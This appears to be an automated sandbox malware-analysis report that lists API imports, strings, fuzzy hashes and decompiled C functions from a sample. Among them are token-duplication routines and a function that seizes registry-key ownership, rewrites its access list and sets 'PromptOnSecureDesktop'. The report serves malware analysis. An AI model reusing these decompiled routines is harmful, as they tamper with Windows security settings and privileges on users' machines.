NtTerminateProcess, xrefs: 004010F6
RtlFreeSid, xrefs: 00401116
NtSetInformationThread, xrefs: 00401155
RtlLengthSid, xrefs: 00401246
RtlSetLastWin32Error, xrefs: 004010D6
RtlAllocateAndInitializeSid, xrefs: 0040120F
NtFilterToken, xrefs: 0040122B
RtlInitUnicodeString, xrefs: 00401135
NtDuplicateToken, xrefs: 004011F3
RtlExpandEnvironmentStrings_U, xrefs: 004010BC
RtlNtStatusToDosError, xrefs: 00401194
ntdll.dll, xrefs: 0040100D
NtQueryInformationToken, xrefs: 00401262

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtClose$NtDuplicateToken$NtFilterToken$NtOpenProcessToken$NtQueryInformationToken$NtSetInformationThread$NtSetInformationToken$NtTerminateProcess$RtlAllocateAndInitializeSid$RtlExpandEnvironmentStrings_U$RtlFreeSid$RtlInitUnicodeString$RtlLengthSid$RtlNtStatusToDosError$RtlSetLastWin32Error$ntdll.dll
API String ID: 2238633743-3228201535
Opcode ID: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction ID: c8dd2db2df3f08e17c6117e54d1286841a2c4197db930f8a9693796d5e259140
Opcode Fuzzy Hash: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction Fuzzy Hash: 2F5100B1662641A6D7118F69EC84BD23AE86748372F14837B9520F62F0D7F8CAC1CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0042C30E, Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 431COMMON

Download Yara Rule

APIs

__invoke_watson_if_error.LIBCMTD ref: 0042C352
_wcscat_s.LIBCMTD ref: 0042C56A

Part of subcall function 004320F0: __invalid_parameter.LIBCMTD ref: 00432162

__invoke_watson_if_error.LIBCMTD ref: 0042C573

Part of subcall function 0041DF80: __invoke_watson.LIBCMTD ref: 0041DFA1

_wcscat_s.LIBCMTD ref: 0042C5A2

Part of subcall function 004320F0: _memset.LIBCMT ref: 004321CB
Part of subcall function 004320F0: __invalid_parameter.LIBCMTD ref: 00432227

__invoke_watson_if_error.LIBCMTD ref: 0042C5AB
__invoke_watson_if_oneof.LIBCMTD ref: 0042C63D
_wcscpy_s.LIBCMTD ref: 0042C682
__invoke_watson_if_error.LIBCMTD ref: 0042C68B
__cftoe.LIBCMTD ref: 0042C6FF
__invoke_watson_if_oneof.LIBCMTD ref: 0042C72E
_wcscpy_s.LIBCMTD ref: 0042C766
__invoke_watson_if_error.LIBCMTD ref: 0042C76F
__itow_s.LIBCMTD ref: 0042C349

Part of subcall function 00436D60: _xtow_s@20.LIBCMTD ref: 00436D8B

__strftime_l.LIBCMTD ref: 0042C409
__invoke_watson_if_oneof.LIBCMTD ref: 0042C442
_wcscpy_s.LIBCMTD ref: 0042C487
__invoke_watson_if_error.LIBCMTD ref: 0042C490
_wcscpy_s.LIBCMTD ref: 0042C4E3
__invoke_watson_if_error.LIBCMTD ref: 0042C4EC
_wcscat_s.LIBCMTD ref: 0042C51D
__invoke_watson_if_error.LIBCMTD ref: 0042C526

Strings

h0b@, xrefs: 0042C719
h8^@, xrefs: 0042C71E
t8j, xrefs: 0042C73D
`@, xrefs: 0042C4A4
h0b@, xrefs: 0042C500
t9j, xrefs: 0042C995

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: __invoke_watson_if_error$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$__cftoe__invoke_watson__itow_s__strftime_l_memset_xtow_s@20
String ID: h0b@$h0b@$h8^@$t8j$t9j$`@
API String ID: 2916338978-3976991231
Opcode ID: 0e2ae8329a462dd2844d334ff93ec1dba87090192d5796a4caceb9fcd1f4d19c
Instruction ID: 3ff7941bdde1ef17c750df83c2bcb8321632a14e5f975cc8572fd2ae983a4cb4
Opcode Fuzzy Hash: 0e2ae8329a462dd2844d334ff93ec1dba87090192d5796a4caceb9fcd1f4d19c
Instruction Fuzzy Hash: 430296B0E40724ABDB20DF50DC46BDF7374AB14746F5081AAF6097A2C1D7B89A84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B211, Relevance: 47.4, APIs: 7, Strings: 20, Instructions: 131
timeCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040B211(FILETIME* _a4, CHAR* _a8, signed int _a12) {
				struct _FILETIME _v12;
				struct _SYSTEMTIME _v28;
				CHAR* _v32;
				CHAR* _v36;
				CHAR* _v40;
				CHAR* _v44;
				CHAR* _v48;
				CHAR* _v52;
				CHAR* _v56;
				CHAR* _v60;
				CHAR* _v64;
				CHAR* _v68;
				CHAR* _v72;
				CHAR* _v76;
				CHAR* _v80;
				CHAR* _v84;
				CHAR* _v88;
				CHAR* _v92;
				CHAR* _v96;
				CHAR* _v100;
				CHAR* _v104;
				struct _TIME_ZONE_INFORMATION _v276;
				long _t77;
				signed int _t80;
				signed int _t93;
				signed int _t101;
				signed int _t102;
				CHAR* _t103;
				signed int _t104;
				signed short _t106;
				signed short _t109;
				signed int _t114;
				signed int _t115;
				void* _t117;

				_v56 = "Sun";
				_v52 = "Mon";
				_v48 = "Tue";
				_v44 = "Wed";
				_v40 = "Thu";
				_v36 = "Fri";
				_v32 = "Sat";
				_v104 = "Jan";
				_v100 = "Feb";
				_v96 = "Mar";
				_v92 = "Apr";
				_v88 = "May";
				_v84 = "Jun";
				_v80 = "Jul";
				_v76 = "Aug";
				_v72 = "Sep";
				_v68 = "Oct";
				_v64 = "Nov";
				_v60 = "Dec";
				if(_a4 != 0) {
					FileTimeToLocalFileTime(_a4,  &_v12);
					FileTimeToSystemTime( &_v12,  &_v28);
				} else {
					GetLocalTime( &_v28);
				}
				_t114 = _a12;
				if(_t114 != 0) {
					SystemTimeToFileTime( &_v28,  &_v12);
					_t93 = E0040ECA5();
					if(_t114 <= 0) {
						_t104 = _t93 %  ~_t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime - _t104;
						asm("sbb [ebp-0x4], ebx");
					} else {
						_t104 = _t93 % _t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime + _t104;
						asm("adc [ebp-0x4], ebx");
					}
					FileTimeToSystemTime( &_v12,  &_v28);
				}
				_v276.Bias = 0;
				_t77 = GetTimeZoneInformation( &_v276);
				_t101 = _v276.Bias;
				if(_t77 == 2) {
					_t101 = _t101 + _v276.DaylightBias;
				}
				_t102 =  ~_t101;
				asm("cdq");
				_t80 = (_t102 ^ _t104) - _t104;
				if(_v28.wDayOfWeek > 6) {
					_t109 = 6;
					_v28.wDayOfWeek = _t109;
				}
				if(_v28.wMonth == 0) {
					_v28.wMonth = 1;
				}
				if(_v28.wMonth > 0xc) {
					_t106 = 0xc;
					_v28.wMonth = _t106;
				}
				_t103 = "+";
				if(_t102 < 0) {
					_t103 = "-";
				}
				_t115 = 0x3c;
				asm("cdq");
				return wsprintfA(_a8, "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u",  *((intOrPtr*)(_t117 + (_v28.wDayOfWeek & 0x0000ffff) * 4 - 0x34)), _v28.wDay & 0x0000ffff,  *((intOrPtr*)(_t117 + (_v28.wMonth & 0x0000ffff) * 4 - 0x68)), _v28.wYear & 0x0000ffff, _v28.wHour & 0x0000ffff, _v28.wMinute & 0x0000ffff, _v28.wSecond & 0x0000ffff, _t103, _t80 / _t115, _t80 % _t115);
			}

0x0040b225
0x0040b22c
0x0040b233
0x0040b23a
0x0040b241
0x0040b248
0x0040b24f
0x0040b256
0x0040b25d
0x0040b264
0x0040b26b
0x0040b272
0x0040b279
0x0040b280
0x0040b287
0x0040b28e
0x0040b295
0x0040b29c
0x0040b2a3
0x0040b2ad
0x0040b2c2
0x0040b2d0
0x0040b2af
0x0040b2b3
0x0040b2b3
0x0040b2d2
0x0040b2d7
0x0040b2e1
0x0040b2e7
0x0040b2f0
0x0040b306
0x0040b30c
0x0040b30f
0x0040b2f2
0x0040b2f4
0x0040b2fa
0x0040b2fd
0x0040b2fd
0x0040b31a
0x0040b31a
0x0040b323
0x0040b329
0x0040b32f
0x0040b338
0x0040b33a
0x0040b33a
0x0040b33d
0x0040b341
0x0040b344
0x0040b34b
0x0040b34f
0x0040b350
0x0040b350
0x0040b358
0x0040b35d
0x0040b35d
0x0040b366
0x0040b36a
0x0040b36b
0x0040b36b
0x0040b371
0x0040b376
0x0040b378
0x0040b378
0x0040b37f
0x0040b380
0x0040b3c4

APIs

GetLocalTime.KERNEL32(0003E800,?,0003E800,00000000), ref: 0040B2B3
FileTimeToLocalFileTime.KERNEL32(00000000,00000000,?,0003E800,00000000), ref: 0040B2C2
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B2D0
SystemTimeToFileTime.KERNEL32(0003E800,00000000), ref: 0040B2E1
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B31A
GetTimeZoneInformation.KERNEL32(?), ref: 0040B329
wsprintfA.USER32 ref: 0040B3B7

Strings

%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 0040B3AF
Mon, xrefs: 0040B22C
Jan, xrefs: 0040B256
Thu, xrefs: 0040B241
Tue, xrefs: 0040B233
Wed, xrefs: 0040B23A
Nov, xrefs: 0040B29C
Dec, xrefs: 0040B2A3
Aug, xrefs: 0040B287
Oct, xrefs: 0040B295
Sep, xrefs: 0040B28E
Apr, xrefs: 0040B26B
Sun, xrefs: 0040B225
Sat, xrefs: 0040B24F
Mar, xrefs: 0040B264
Fri, xrefs: 0040B248
Jul, xrefs: 0040B280
Jun, xrefs: 0040B279
May, xrefs: 0040B272
Feb, xrefs: 0040B25D

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: Time$File$System$Local$InformationZonewsprintf
String ID: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$Apr$Aug$Dec$Feb$Fri$Jan$Jul$Jun$Mar$May$Mon$Nov$Oct$Sat$Sep$Sun$Thu$Tue$Wed
API String ID: 766114626-2976066047
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: 3cccae2c5b68faf9d5e65ebc3321ef0303f497beb4f825406ae493c25d793f5b
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: D8510EB1D0021CAADF18DFD5D8495EEBBB9EF48304F10856BE501B6250E7B84AC9CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00407A95, Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 99%

			E00407A95(void* _a4, char* _a8, signed int _a12) {
				int _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				int _v24;
				void* _v28;
				struct _ACL* _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				int _v64;
				void _v132;
				char _v388;
				char _v516;
				struct _SECURITY_DESCRIPTOR _v1540;
				void* _t95;
				void* _t104;
				void* _t107;
				void* _t111;
				void* _t116;
				struct _ACL* _t117;
				void* _t118;
				void* _t120;
				void* _t122;
				void* _t123;
				void* _t125;
				char* _t126;
				void* _t130;
				void* _t134;
				void* _t135;
				signed int _t136;
				void* _t143;
				void* _t146;
				int _t148;
				int _t151;
				void** _t159;
				void* _t161;
				void* _t164;
				signed int _t172;
				void* _t173;
				char* _t174;
				void* _t175;
				void* _t176;

				_v32 = 0;
				_v12 = 0;
				_v28 = 0;
				if(RegOpenKeyExA(_a4, _a8, 0, 0xe0100,  &_v28) != 0) {
					return 0;
				}
				_v40 = 0x80;
				_t95 = GetUserNameA( &_v388,  &_v40);
				__eflags = _t95;
				if(_t95 == 0) {
					L48:
					RegCloseKey(_v28);
					return _v12;
				} else {
					_v36 = 0x44;
					_v44 = 0x80;
					_t104 = LookupAccountNameA(0,  &_v388,  &_v132,  &_v36,  &_v516,  &_v44,  &_v56);
					__eflags = _t104;
					if(_t104 == 0) {
						goto L48;
					}
					_v48 = 0x400;
					_t107 = RegGetKeySecurity(_v28, 5,  &_v1540,  &_v48);
					__eflags = _t107;
					if(_t107 != 0) {
						goto L48;
					}
					_t111 = GetSecurityDescriptorOwner( &_v1540,  &_v16,  &_v60);
					__eflags = _t111;
					if(_t111 == 0) {
						L12:
						_v24 = 0;
						_t116 = GetSecurityDescriptorDacl( &_v1540,  &_v64,  &_v32,  &_v52);
						__eflags = _t116;
						if(_t116 == 0) {
							L47:
							goto L48;
						}
						_t117 = _v32;
						__eflags = _t117;
						if(_t117 == 0) {
							goto L47;
						}
						_t164 = 0;
						_v8 = 0;
						__eflags = 0 - _t117->AceCount;
						if(0 >= _t117->AceCount) {
							goto L47;
						} else {
							goto L15;
						}
						do {
							L15:
							_t118 = GetAce(_t117, _v8,  &_v20);
							__eflags = _t118;
							if(_t118 == 0) {
								L31:
								_t73 =  &_v8;
								 *_t73 = _v8 + 1;
								__eflags =  *_t73;
								goto L32;
							}
							_t172 = 0;
							_v16 = _v20 + 8;
							__eflags = _t164;
							if(_t164 <= 0) {
								L21:
								__eflags = _t164 - 0x20;
								if(_t164 < 0x20) {
									 *((intOrPtr*)(_t176 + _t164 * 4 - 0x100)) = _v16;
									_t164 = _t164 + 1;
									__eflags = _t164;
								}
								_t134 = EqualSid( &_v132, _v16);
								_t159 = _v20;
								__eflags = _t134;
								if(_t134 == 0) {
									_t135 = 0x20000;
								} else {
									asm("sbb eax, eax");
									_t135 = ( ~_a12 & 0x00010006) + 0xe0039;
								}
								__eflags = _t159[1] - _t135;
								if(_t159[1] != _t135) {
									_t159[1] = _t135;
									_t159 = _v20;
									_v24 = 1;
								}
								__eflags =  *_t159;
								if( *_t159 != 0) {
									L30:
									 *_t159 = 0;
									_t136 = _v16;
									__eflags =  *(_t136 + 8);
									_t68 =  *(_t136 + 8) == 0;
									__eflags = _t68;
									_v24 = 1;
									 *((char*)(_v20 + 1)) = 2 + (_t136 & 0xffffff00 | _t68) * 8;
									goto L31;
								} else {
									__eflags = _t159[0] & 0x00000010;
									if((_t159[0] & 0x00000010) == 0) {
										goto L31;
									}
									goto L30;
								}
							} else {
								goto L17;
							}
							while(1) {
								L17:
								_t143 = EqualSid( *(_t176 + _t172 * 4 - 0x100), _v16);
								__eflags = _t143;
								if(_t143 != 0) {
									break;
								}
								_t172 = _t172 + 1;
								__eflags = _t172 - _t164;
								if(_t172 < _t164) {
									continue;
								}
								break;
							}
							__eflags = _t172 - _t164;
							if(_t172 >= _t164) {
								goto L21;
							}
							DeleteAce(_v32, _v8);
							_v24 = 1;
							L32:
							_t117 = _v32;
							__eflags = _v8 - (_t117->AceCount & 0x0000ffff);
						} while (_v8 < (_t117->AceCount & 0x0000ffff));
						__eflags = _v24;
						if(_v24 == 0) {
							goto L47;
						}
						__eflags =  *0x4121a8; // 0x0
						if(__eflags == 0) {
							L41:
							_v12 = 1;
							_t173 = LocalAlloc(0x40, 0x14);
							__eflags = _t173;
							if(_t173 != 0) {
								_t120 = InitializeSecurityDescriptor(_t173, 1);
								__eflags = _t120;
								if(_t120 != 0) {
									_t122 = SetSecurityDescriptorDacl(_t173, 1, _v32, 0);
									__eflags = _t122;
									if(_t122 != 0) {
										_t123 = RegSetKeySecurity(_v28, 4, _t173);
										__eflags = _t123;
										if(_t123 == 0) {
											_v12 = 1;
										}
									}
								}
								LocalFree(_t173);
							}
							goto L47;
						}
						__eflags =  *0x412cc0; // 0x0
						if(__eflags == 0) {
							goto L41;
						}
						_v12 = 0;
						_t125 = RegOpenKeyExA(_a4, _a8, 0, 0x103,  &_v12);
						__eflags = _t125;
						if(_t125 != 0) {
							goto L41;
						}
						_t126 = 0x4121a8;
						_t83 =  &(_t126[1]); // 0x4121a9
						_t174 = _t83;
						do {
							_t161 =  *_t126;
							_t126 =  &(_t126[1]);
							__eflags = _t161;
						} while (_t161 != 0);
						_t130 = RegSetValueExA(_v12, E00402544("PromptOnSecureDesktop", 0x4106dc, 0xa, 0xe4, 0xc8), 0, 2, 0x4121a8, _t126 - _t174 + 1);
						__eflags = _t130;
						if(_t130 == 0) {
							 *0x412cc0 = 0;
						}
						goto L41;
					}
					_t146 = EqualSid( &_v132, _v16);
					__eflags = _t146;
					if(_t146 != 0) {
						goto L12;
					}
					_v12 = 1;
					_t175 = LocalAlloc(0x40, 0x14);
					__eflags = _t175;
					if(_t175 != 0) {
						_t148 = InitializeSecurityDescriptor(_t175, 1);
						__eflags = _t148;
						if(_t148 != 0) {
							_t151 = SetSecurityDescriptorOwner(_t175,  &_v132, 0);
							__eflags = _t151;
							if(_t151 != 0) {
								RegSetKeySecurity(_v28, 1, _t175);
							}
						}
						LocalFree(_t175);
					}
					goto L12;
				}
			}

0x00407aae
0x00407ab4
0x00407ab7
0x00407ac2
0x00000000
0x00407ac4
0x00407adc
0x00407adf
0x00407ae5
0x00407ae7
0x00407da7
0x00407daa
0x00000000
0x00407aed
0x00407b0c
0x00407b13
0x00407b16
0x00407b1c
0x00407b1e
0x00000000
0x00000000
0x00407b34
0x00407b3b
0x00407b41
0x00407b43
0x00000000
0x00000000
0x00407b59
0x00407b5f
0x00407b61
0x00407bb8
0x00407bcb
0x00407bce
0x00407bd4
0x00407bd6
0x00407da6
0x00000000
0x00407da6
0x00407bdc
0x00407bdf
0x00407be1
0x00000000
0x00000000
0x00407be9
0x00407beb
0x00407bee
0x00407bf2
0x00000000
0x00000000
0x00000000
0x00000000
0x00407bf8
0x00407bf8
0x00407c00
0x00407c06
0x00407c08
0x00407cc6
0x00407cc6
0x00407cc6
0x00407cc6
0x00000000
0x00407cc6
0x00407c14
0x00407c16
0x00407c19
0x00407c1b
0x00407c4f
0x00407c4f
0x00407c52
0x00407c57
0x00407c5e
0x00407c5e
0x00407c5e
0x00407c66
0x00407c6c
0x00407c6f
0x00407c71
0x00407c86
0x00407c73
0x00407c78
0x00407c7f
0x00407c7f
0x00407c8b
0x00407c8e
0x00407c90
0x00407c93
0x00407c96
0x00407c96
0x00407c9d
0x00407c9f
0x00407ca7
0x00407ca7
0x00407ca9
0x00407cac
0x00407cb2
0x00407cb2
0x00407cb5
0x00407cc3
0x00000000
0x00407ca1
0x00407ca1
0x00407ca5
0x00000000
0x00000000
0x00000000
0x00407ca5
0x00000000
0x00000000
0x00000000
0x00407c1d
0x00407c1d
0x00407c27
0x00407c2d
0x00407c2f
0x00000000
0x00000000
0x00407c31
0x00407c32
0x00407c34
0x00000000
0x00000000
0x00000000
0x00407c34
0x00407c36
0x00407c38
0x00000000
0x00000000
0x00407c40
0x00407c46
0x00407cc9
0x00407cc9
0x00407cd0
0x00407cd0
0x00407cd9
0x00407cdc
0x00000000
0x00000000
0x00407ce2
0x00407ce8
0x00407d5a
0x00407d61
0x00407d6a
0x00407d6c
0x00407d6e
0x00407d72
0x00407d78
0x00407d7a
0x00407d82
0x00407d88
0x00407d8a
0x00407d92
0x00407d98
0x00407d9a
0x00407d9c
0x00407d9c
0x00407d9a
0x00407d8a
0x00407da0
0x00407da0
0x00000000
0x00407d6e
0x00407cea
0x00407cf0
0x00000000
0x00000000
0x00407cff
0x00407d05
0x00407d0b
0x00407d0d
0x00000000
0x00000000
0x00407d14
0x00407d16
0x00407d16
0x00407d19
0x00407d19
0x00407d1b
0x00407d1c
0x00407d1c
0x00407d4a
0x00407d50
0x00407d52
0x00407d54
0x00407d54
0x00000000
0x00407d52
0x00407b6a
0x00407b70
0x00407b72
0x00000000
0x00000000
0x00407b7b
0x00407b84
0x00407b86
0x00407b88
0x00407b8c
0x00407b92
0x00407b94
0x00407b9c
0x00407ba2
0x00407ba4
0x00407bab
0x00407bab
0x00407ba4
0x00407bb2
0x00407bb2
0x00000000
0x00407b88

APIs

RegOpenKeyExA.ADVAPI32(000000E4,00000022,00000000,000E0100,00000000,00000000), ref: 00407ABA
GetUserNameA.ADVAPI32(?,?), ref: 00407ADF
LookupAccountNameA.ADVAPI32(00000000,?,?,0041070C,?,004133B0,?), ref: 00407B16
RegGetKeySecurity.ADVAPI32(00000000,00000005,?,?), ref: 00407B3B
GetSecurityDescriptorOwner.ADVAPI32(?,00000022,80000002), ref: 00407B59
EqualSid.ADVAPI32(?,00000022), ref: 00407B6A
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407B7E
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407B8C
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407B9C
RegSetKeySecurity.ADVAPI32(00000000,00000001,00000000), ref: 00407BAB
LocalFree.KERNEL32(00000000), ref: 00407BB2
GetSecurityDescriptorDacl.ADVAPI32(?,00407FC9,?,00000000), ref: 00407BCE

Strings

PromptOnSecureDesktop, xrefs: 00407D39
D, xrefs: 00407B0C

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: D$PromptOnSecureDesktop
API String ID: 2976863881-1403908072
Opcode ID: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction ID: e17c9e5f60e255820364911aa1186e0accab4a2e7248257c6285c946b731c67d
Opcode Fuzzy Hash: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction Fuzzy Hash: 6FA14D71D04219ABDB119FA0DD44EEF7B78FF48304F04807AE505F2290D779AA85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00406511, Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00406511(void* __ecx) {
				signed int _t75;
				signed int _t76;
				int _t78;
				void* _t83;
				signed int _t93;
				void* _t95;
				signed int _t99;
				int _t101;
				int _t115;
				int _t117;
				void* _t118;
				void* _t119;
				void* _t120;
				void* _t122;
				intOrPtr _t135;
				intOrPtr* _t137;
				void* _t139;
				void* _t141;
				void* _t143;
				void* _t144;
				void* _t152;

				_t122 = __ecx;
				_t139 = _t141 - 0x74;
				_t75 =  *(_t139 + 0x7c);
				_t135 =  *((intOrPtr*)(_t75 + 4));
				_t76 =  *_t75;
				 *(_t139 + 0x7c) = _t76;
				_t78 = wsprintfA(_t139 - 0x898, "\nver=%d date=%s %s\nc=%08x a=%p", 0x61, "Jan 13 2018", "12:08:32",  *_t76,  *((intOrPtr*)(_t76 + 0xc)));
				_t143 = _t141 - 0x90c + 0x1c;
				_t117 = _t78;
				if(IsBadReadPtr( *( *(_t139 + 0x7c) + 0xc), 8) != 0) {
					E0040E318();
					ExitProcess(0);
				}
				_t83 =  *( *(_t139 + 0x7c) + 0xc);
				__imp__#8( *((intOrPtr*)(_t83 + 4)), E00406511);
				__imp__#8();
				_t118 = _t117 + wsprintfA(_t139 + _t117 - 0x898, " va=%08X%08X uef=%p",  *( *(_t139 + 0x7c) + 0xc),  *( *( *(_t139 + 0x7c) + 0xc)), _t83);
				_t119 = _t118 + wsprintfA(_t139 + _t118 - 0x898, "\n_ax=%p\t_bx=%p\t_cx=%p\t_dx=%p\t_si=%p\t_di=%p\t_bp=%p\t_sp=%p\n",  *((intOrPtr*)(_t135 + 0xb0)),  *((intOrPtr*)(_t135 + 0xa4)),  *((intOrPtr*)(_t135 + 0xac)),  *((intOrPtr*)(_t135 + 0xa8)),  *((intOrPtr*)(_t135 + 0xa0)),  *((intOrPtr*)(_t135 + 0x9c)),  *((intOrPtr*)(_t135 + 0xb4)),  *((intOrPtr*)(_t135 + 0xc4)));
				E0040EE2A(_t122, _t139 - 0x98, 0, 0x108);
				_t144 = _t143 + 0x48;
				 *((intOrPtr*)(_t139 - 0x98)) =  *((intOrPtr*)(_t135 + 0xb8));
				_t93 = 3;
				_push(0);
				_push(0);
				 *(_t139 - 0x8c) = _t93;
				 *((intOrPtr*)(_t139 - 0x94)) = 0;
				_push(0);
				 *(_t139 - 0x5c) = _t93;
				_push(0);
				 *((intOrPtr*)(_t139 - 0x68)) =  *((intOrPtr*)(_t135 + 0xc4));
				 *((intOrPtr*)(_t139 - 0x64)) = 0;
				_t130 =  *((intOrPtr*)(_t135 + 0xb4));
				 *(_t139 - 0x6c) = _t93;
				 *(_t139 + 0x7c) = _t93;
				_push(_t135);
				_push(_t139 - 0x98);
				 *((intOrPtr*)(_t139 - 0x78)) =  *((intOrPtr*)(_t135 + 0xb4));
				 *((intOrPtr*)(_t139 - 0x74)) = 0;
				_push(0);
				while(1) {
					_t95 = GetCurrentProcess();
					__imp__StackWalk64(0x14c, _t95);
					if(_t95 == 0) {
						break;
					}
					_t95 = 0;
					if( *(_t139 + 0x7c) != 0) {
						if( *((intOrPtr*)(_t139 - 0x88)) != 0) {
							_t115 = wsprintfA(_t139 + _t119 - 0x898, "ret=%p\tp1=%p\tp2=%p\tp3=%p\tp4=%p\n",  *((intOrPtr*)(_t139 - 0x88)),  *((intOrPtr*)(_t139 - 0x40)),  *((intOrPtr*)(_t139 - 0x38)),  *((intOrPtr*)(_t139 - 0x30)),  *((intOrPtr*)(_t139 - 0x28)));
							_t144 = _t144 + 0x1c;
							_t119 = _t119 + _t115;
							_t95 = 0;
						}
						 *(_t139 + 0x7c) =  *(_t139 + 0x7c) - 1;
						_push(_t95);
						_push(_t95);
						_push(_t95);
						_push(_t95);
						_push(_t135);
						_push(_t139 - 0x98);
						_push(_t95);
						continue;
					}
					break;
				}
				 *(_t139 + 0x7c) = _t95;
				_t120 = _t119 + wsprintfA(_t139 + _t119 - 0x898, "plgs:");
				 *(_t139 + 0x70) =  *(_t139 + 0x70) & 0x00000000;
				do {
					_t137 = 0x412c40 +  *(_t139 + 0x70) * 4;
					if( *_t137 != 0) {
						_t99 =  *(_t139 + 0x7c) & 0x80000007;
						if(_t99 < 0) {
							_t152 = (_t99 - 0x00000001 | 0xfffffff8) + 1;
						}
						if(_t152 == 0) {
							_t120 = _t120 + wsprintfA(_t139 + _t120 - 0x898, "\n");
						}
						_t101 = wsprintfA(_t139 + _t120 - 0x898, "\t%d=%p",  *(_t139 + 0x70),  *_t137);
						_t144 = _t144 + 0x10;
						_t120 = _t120 + _t101;
						 *(_t139 + 0x7c) =  *(_t139 + 0x7c) + 1;
					}
					 *(_t139 + 0x70) =  *(_t139 + 0x70) + 1;
				} while ( *(_t139 + 0x70) < 0x20);
				wsprintfA(_t139 + _t120 - 0x898, "\n");
				E0040E8A1(_t130, 1, "localcfg", "except_info", _t139 - 0x898);
				E0040E318();
				return 1;
			}

0x00406511
0x00406512
0x0040651c
0x00406521
0x00406524
0x00406532
0x0040654d
0x0040654f
0x00406552
0x00406564
0x0040674e
0x00406755
0x00406755
0x0040656d
0x00406578
0x00406587
0x004065a3
0x004065e3
0x004065ee
0x004065f9
0x00406600
0x00406606
0x00406607
0x00406608
0x00406609
0x0040660f
0x0040661b
0x0040661c
0x0040661f
0x00406620
0x00406623
0x00406626
0x0040662c
0x0040662f
0x00406632
0x00406639
0x0040663a
0x0040663d
0x00406640
0x0040668a
0x0040668a
0x00406696
0x0040669e
0x00000000
0x00000000
0x00406643
0x00406648
0x00406650
0x00406671
0x00406673
0x00406676
0x00406678
0x00406678
0x0040667a
0x0040667d
0x0040667e
0x0040667f
0x00406680
0x00406681
0x00406688
0x00406689
0x00000000
0x00406689
0x00000000
0x00406648
0x004066a0
0x004066b3
0x004066b5
0x004066ba
0x004066bd
0x004066c7
0x004066cc
0x004066d1
0x004066d7
0x004066d7
0x004066d8
0x004066eb
0x004066eb
0x004066ff
0x00406701
0x00406704
0x00406706
0x00406706
0x00406709
0x0040670c
0x0040671f
0x00406734
0x0040673c
0x0040674b

APIs

wsprintfA.USER32 ref: 0040654D
IsBadReadPtr.KERNEL32(?,00000008), ref: 0040655C
htonl.WS2_32(?), ref: 00406578
htonl.WS2_32(?), ref: 00406587
wsprintfA.USER32 ref: 0040659B
wsprintfA.USER32 ref: 004065DC
wsprintfA.USER32 ref: 00406671
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 0040668A
StackWalk64.DBGHELP(0000014C,00000000), ref: 00406696
wsprintfA.USER32 ref: 004066B0
wsprintfA.USER32 ref: 004066E7
wsprintfA.USER32 ref: 004066FF
wsprintfA.USER32 ref: 0040671F
ExitProcess.KERNEL32 ref: 00406755

Strings

12:08:32, xrefs: 00406535
ver=%d date=%s %sc=%08x a=%p, xrefs: 00406547
ret=%pp1=%pp2=%pp3=%pp4=%p, xrefs: 0040666B
Jan 13 2018, xrefs: 0040653A
localcfg, xrefs: 0040672D
except_info, xrefs: 00406728
va=%08X%08X uef=%p, xrefs: 00406595
_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p, xrefs: 004065D6
